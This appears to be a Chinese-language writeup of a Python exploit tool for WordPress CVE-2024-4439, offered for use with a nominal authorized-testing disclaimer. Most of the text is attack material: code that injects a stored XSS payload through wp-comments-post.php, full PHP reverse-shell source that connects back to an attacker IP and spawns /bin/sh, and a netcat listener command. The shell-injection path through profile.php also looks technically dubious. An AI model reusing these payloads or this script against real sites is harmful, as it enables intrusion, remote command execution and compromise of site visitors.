WordPress CVE-2024-4439 漏洞利用与反向Shell注入工具

1 阅读4分钟

WordPress CVE-2024-4439 漏洞利用工具

本项目是一个针对 CVE-2024-4439 漏洞的 Python 利用脚本,用于在测试环境中验证 WordPress 站点的安全性。该工具支持注入自定义 XSS 载荷以及通过 wp-admin/profile.php 植入 PHP 反向 Shell,帮助安全研究人员理解漏洞的攻击向量与影响范围。

功能特性

  • XSS 载荷注入
    通过 /wp-comments-post.php 接口,在评论的 author 字段注入自定义或默认的 XSS 载荷(如 onmouseover=alert(...)),触发跨站脚本攻击。

  • PHP 反向 Shell 植入
    利用 wp-admin/profile.php 中的不安全字段,将 PHP 反向 Shell 代码注入到用户名字段中,攻击者可远程获取目标服务器的 shell 访问权限。

  • 灵活的参数配置
    支持命令行指定目标 URL、自定义载荷、攻击者 IP 及端口,方便集成到自动化渗透测试流程中。

  • 清晰的执行反馈
    脚本在执行后会输出每个阶段的成功或失败状态,并展示项目主页与社群链接。

安装指南

系统要求

  • Python 3.6 或更高版本
  • 目标 WordPress 站点未修复 CVE-2024-4439 漏洞(仅用于授权测试)

依赖安装

# 克隆项目仓库
git clone https://github.com/soltanali0/CVE-2024-4439.git
cd CVE-2024-4439

# 安装 Python 依赖
pip install -r r.txt --break-system-packages

依赖库包括:

  • requests - 发送 HTTP 请求
  • colorama - 终端彩色输出

使用说明

基础命令

python3 exploit.py -u <目标URL> --ip <攻击者IP> --port <监听端口> [-p <自定义XSS载荷>]

参数说明

参数必填说明
-u, --url目标 WordPress 站点的完整 URL(如 https://example.com
--ip攻击者接收反向 shell 的 IP 地址
--port攻击者监听的端口号
-p, --payload自定义 XSS 载荷,默认值为 ' onmouseover=alert("GO-TO CVE"); //'

使用示例

1. 使用默认 XSS 载荷并植入反向 Shell
python3 exploit.py -u https://vulnerable-site.com --ip 192.168.1.100 --port 4444
2. 使用自定义 XSS 载荷
python3 exploit.py -u https://vulnerable-site.com --ip 192.168.1.100 --port 4444 -p ' onerror=alert("XSS")//'
3. 在攻击者机器上启动 Netcat 监听
nc -lvp 4444

执行脚本后,若反向 Shell 注入成功,攻击者将在监听终端获得目标服务器的 shell 交互。

典型攻击流程

  1. XSS 投递
    脚本向 https://target.com/wp-comments-post.php 发送 POST 请求,将载荷写入评论作者字段。若目标站点未对用户输入进行过滤,则 XSS 载荷将被存储并在管理员或用户访问评论时执行。

  2. 反向 Shell 注入
    脚本向 https://target.com/wp-admin/profile.php 发送 POST 请求,将 PHP 反向 Shell 代码注入用户资料字段(如 first_name)。若 WordPress 允许 PHP 代码执行或后续包含该字段,则攻击者可获得远程 shell。

  3. 获取访问权限
    攻击者提前使用 nc -lvp <端口> 建立监听,一旦反向 Shell 被触发,即可获得目标系统的命令执行能力。

核心代码

1. XSS 载荷注入模块

# 构造恶意评论数据,将载荷放入 author 字段
xss_payload = args.payload if args.payload else ' onmouseover=alert("GO-TO CVE"); //'
malicious_comment = {
    "author": xss_payload,
    "comment": "Text",
    "submit": "Post Comment"
}

# 发送 POST 请求到 WordPress 评论接口
response_comment = requests.post(target_url + "/wp-comments-post.php", data=malicious_comment)

# 根据响应判断注入是否成功
if "Your comment is awaiting moderation." in response_comment.text:
    print("XSS Comment successfully posted on /wp-comments-post.php!")
else:
    print("Failed to post XSS Comment on /wp-comments-post.php.")

2. PHP 反向 Shell 生成与注入模块

# 动态生成 PHP 反向 Shell 代码
reverse_shell_payload = f"""<?php
set_time_limit(0);
$ip = '{args.ip}'; 
$port = {args.port};  
$chunk_size = 1400;
$shell = '/bin/sh';
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
$descriptorspec = array(
   0 => array("pipe", "r"),
   1 => array("pipe", "w"),
   2 => array("pipe", "w")
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (is_resource($process)) {{
    while (!feof($pipes[1])) {{
        $output = fread($pipes[1], $chunk_size);
        fwrite($sock, $output);
        $input = fread($sock, $chunk_size);
        fwrite($pipes[0], $input);
    }}
}}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
?>"""

# 通过 profile.php 注入载荷
malicious_profile = {
    "first_name": reverse_shell_payload,
    "submit": "Update Profile"
}

response_profile = requests.post(target_url + "/wp-admin/profile.php", data=malicious_profile)

if response_profile.status_code == 200:
    print(f"Reverse Shell successfully injected on {target_url}/wp-admin/profile.php!")
else:
    print("Failed to inject Reverse Shell on /wp-admin/profile.php.")

3. 命令行参数解析

import argparse

parser = argparse.ArgumentParser(description="WordPress XSS and Reverse Shell PoC Script")
parser.add_argument("-u", "--url", required=True, help="URL of the target WordPress site")
parser.add_argument("-p", "--payload", required=False, help="Custom XSS payload, defaults to GO-TO CVE alert")
parser.add_argument("--ip", required=True, help="IP address of the attacker")
parser.add_argument("--port", required=True, help="Port number for reverse shell connection")
args = parser.parse_args()

⚠️ 免责声明
本工具仅用于授权的安全测试和教育目的。未经授权对他人网站进行漏洞利用属于违法行为,使用者须自行承担相关法律责任。 6HFtX5dABrKlqXeO5PUv/5P94esnUuLnJbRpL9ru7SM=